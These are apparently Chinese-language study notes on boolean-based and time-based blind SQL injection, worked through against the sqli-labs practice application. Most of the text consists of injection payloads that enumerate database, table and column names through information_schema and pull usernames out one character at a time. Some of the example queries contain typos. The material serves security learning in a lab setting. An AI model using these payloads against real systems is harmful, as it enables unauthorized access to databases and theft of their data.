判定结果有还是没有 有直接union select
会不会报错
会报错就报错注入,都没有就盲注
盲注---1.布尔盲注:(最好先猜出一个正确的用户名作为参照物才能进行盲注)
适用条件:不显示错误,也不显示任何数据库取出的内容显示
(没有闭合的报错 就要强行猜闭合方式)
sqli-labs的T8 布尔盲注
?id=1 正常 ?id=200000 不正常 ?id=1\ 不正常 ?id=haha 不正常
估计到数据库传入的参数是数字
尝试 id=1' --+ //正常
id=1' and 0 --+ //不正常
id=1' and 1 --+ //正常
id=1' and 1<2 --+ //正常
---> 首先测试知道网页要传入的是数字类型 同时测试单引号闭合成功了 同时id后面的内容and可以控制网页的正确与否
说明我在and那个部分写的内容是可以被网页执行的
----> 网页具备盲注的条件 且确定出闭合就是单引号
需要盲注情况下网页的特点:
1.网站可以回显语法错误 可以尝试获得正确的闭合
2.网站不会存在回显的位置 order by 可以显示,但是
union select 没有回显的位置
3.网页只会回显两种状态
猜测数据库(可以借助length和left函数)
select database(); //展示当前数据库的库名
select length(database()); //展示当前数据库的库名有几个字
select substr(database(),1,1); //截取数据库的库名 从人类的第一个字开始 截取一个字
select ascii(substr(database(),1,1)); //截取数据库的库名 从人类的第一个字开始 截取一个字 并且转为ascii码
select ascii(substr(database(),1,1)) = 104; //1
select ascii(substr(database(),1,1)) = 105; //0
select ascii(substr(database(),1,1)) = >104; //0
?id=1' and (select ascii(substr(database(),1,1)) > 100) --+ //you are in 说明是
?id=1' and (select ascii(substr(database(),1,1)) > 200) --+ //没有反馈 说明否
?id=1' and (select ascii(substr(database(),1,1)) = 115) --+ //you are in 说明第一个字符的ascii码就是115 即s
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >100 ) --+
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100 ) --+
//猜测长度:
?id=1' and length(database())=8-- - //length是一个函数 会自己返回数据库名字的长度
?id=1' and length(database())>8--+
//猜测数据库名称:在a-z之间
//left(a,x) 表示从左开始切割a 取x位
id=1' and left(database(),1)>'a' -- -
id=1' and left(database(),1)>'z' -- - //字母的比较是比较ascii码
id=1' and left(database(),1)>'r' -- -
id=1' and left(database(),1)>'s' -- -
id=1' and left(database(),2)>'sa'-- -
//and语句 前后都正确 则有回显结果 否则没有结果 可以体现猜测的结果的正确性
猜测表
(ascii函数用于把一个字符串转化成ascii码)
(substr("abc",1,1) 是一个切割的函数 切割abc字符串,从第一位开始切割1位)
eg: substr("abc",2,1)=b; substr("abc",2,2)=bc;
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>111
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数
第一个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
第二个表 //只需要把limit的参数修改即可切换到下一个表了
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101
判断user表 猜测列(%23是在网页的url上的 #经过url编码后的结果
)
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100 %23
爆出字段
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
拓展方式:
python脚本实现自动化盲注攻击
攻击方法:
1.手工攻击
2.工具攻击 例如sqlmap
3.自动化脚本攻击 如图 python自动攻击
![](https://img-blog.csdnimg.cn/1e6295e804134e23848cd5f40b110f77.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
盲注---2.时间盲注
例题:sqli-labs T9
?id=2' and sleep(10) --+ //转圈 说明执行成功 可以用来猜测闭合方式
?id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) --+
特点:不管输入正确与否 都没有任何反应
select sleep(5);
select if((select database())="haha",sleep(5),null);
此时网页的特点是没有回显注入位置,就一种显示结果。
此时继续使用布尔盲注的方法没有办法通过回显获得想要的回显状态
此时可以借助时间盲注来完成 借助sleep()函数可以让网页加载一定时间
通过这种方法可以人工构造出一种逻辑上的真和假 借助这个作为回显来判断即可
此时可以借助if函数 构造相应的逻辑语法 后续通过脚本等工具处理即可
if(XX条件,满足条件后的处理,不满足条件的处理)
Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -
?id=1' and if(length(database())>=8,sleep(5),1)-- - 数据库 判断当前数据库的长度
if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)(表名)
布尔型盲注
boolean True/False
不显示错误,也不显示数据库的内容
小知识:
select database();
数据库库名
select length(database());
库名的长度
select substr(database(),1,1);
从第1个字开始取1个
select ascii(substr(database(),1,1));
从第1个字开始取1个并且转化为ascii
select ascii(substr(database(),1,1))=104;
截取数据库库名第一个字,截取1个,转化为ascii码,判断是不是104
实战:
?id=1' and (select ascii(substr(database(),1,1))= 115 )--+
?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))= 115 )--+
布尔型时间盲注
界面上完全没有反应,但是你好像觉得可以注入
小知识:
select sleep(5);
睡5s后输出0
select if((select database())="haha",sleep(5),null);
实战:
id=2' and sleep(5) --+
id=2' and if((select database())="security",sleep(5),null) --+
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null)--+